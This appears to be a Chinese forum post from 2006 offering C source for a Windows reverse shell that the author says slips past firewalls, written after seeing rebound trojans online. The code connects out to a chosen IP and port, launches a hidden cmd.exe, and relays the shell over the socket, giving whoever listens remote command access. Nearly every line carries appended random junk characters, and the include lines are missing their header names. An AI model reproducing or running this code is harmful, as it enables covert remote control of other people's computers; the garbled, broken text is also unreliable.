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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]f}#&]<(T  
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/* ============================== V/,@hv`+  
Rebound port in Windows NT Nk ~"f5q7  
By wind,2006/7 +3wVcL  
===============================*/ 6jaol'{SuH  
#include Uja`{uc  
#include lKT<aYX  
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#pragma comment(lib,"wsock32.lib") 9*b(\Z)N  
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void OutputShell(); NpLO_-  
SOCKET sClient; YEiQ`sYKG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H4Lvw8G  
g q|]t<'  
void main(int argc,char **argv) H="E#AC%8/  
{ ?ypX``3#s7  
WSADATA stWsaData; 93]67PL#+  
int nRet; ]hHL[hoFC  
SOCKADDR_IN stSaiClient,stSaiServer; }:zTz% _K  
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if(argc != 3) ZOIx+%/Vd#  
{ ^V;h>X|  
printf("Useage:\n\rRebound DestIP DestPort\n"); b,r{wrLe)  
return; XUK!1}  
} 7}%Z>  
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WSAStartup(MAKEWORD(2,2),&stWsaData); BK/_hNz  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9o<5Z=  
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stSaiClient.sin_family = AF_INET; duT'$}2@>  
stSaiClient.sin_port = htons(0); 0<4Nf]i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kS)azV  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +_"AF|  
{ *rH# k?  
printf("Bind Socket Failed!\n"); |9*8u>|RC  
return; }\Ri:&?  
} $AyE6j_1gX  
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stSaiServer.sin_family = AF_INET; X={Z5Xxr"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w;=g$Bn  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *%p`Jk-U  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g\~n5=-D  
{ 8nKb mjM  
printf("Connect Error!"); lD41+x 7  
return; i+XHXpk  
} ^Yg}>?0  
OutputShell(); VlbS\Y.  
} wRsh@I<  
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void OutputShell() *MD\YFXR  
{ fnZ?YzLI  
char szBuff[1024]; 2Q81#i'Cm  
SECURITY_ATTRIBUTES stSecurityAttributes; %}/|/=  
OSVERSIONINFO stOsversionInfo; tmVGJ+gz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #[B]\HO  
STARTUPINFO stStartupInfo; zg+6< .Sf  
char *szShell; Y k @/+PE  
PROCESS_INFORMATION stProcessInformation; :rzq[J^  
unsigned long lBytesRead; 5'%nLW7;O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S:YQVj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .sBwJZ  
stSecurityAttributes.lpSecurityDescriptor = 0; W^8MsdM  
stSecurityAttributes.bInheritHandle = TRUE; ,SB5"  
=,w(D~ps  
bZf}m=C!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); efUa[XO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  {,Z-GJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $z \H*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )8@|+'q  
stStartupInfo.wShowWindow = SW_HIDE; O+ghw1/  
stStartupInfo.hStdInput = hReadPipe;  f2.|[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .d;|iwl  
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GetVersionEx(&stOsversionInfo); kC8M2|L  
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switch(stOsversionInfo.dwPlatformId) rjWn>M  
{ IDn$w^"  
case 1: +JlPQ~5  
szShell = "command.com"; SDHJX8Hq  
break; dW#T1mB  
default: 5h7M3s  
szShell = "cmd.exe"; ,We'A R3X  
break; >p?Vv0*  
} ^=@`U_(,G  
\.K4tY+V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j[Z<|Da  
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send(sClient,szMsg,77,0); )Rc  
while(1) ~pWV[oUD  
{ :N#8|;J1Fl  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ["N_t:9I  
if(lBytesRead) {({Rb$  
{ +rWcfXOHM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OYLg-S  
send(sClient,szBuff,lBytesRead,0); g|=1U  
} t`Lh(`  
else 7N4)T'B  
{ 5=hMTztf!!  
lBytesRead=recv(sClient,szBuff,1024,0); n"g)hu^B  
if(lBytesRead<=0) break; 3](At%ss  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -I'Jm=q3]  
} )l6(ss!J  
} 1Rd2Xb  
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return; . /@C  
}
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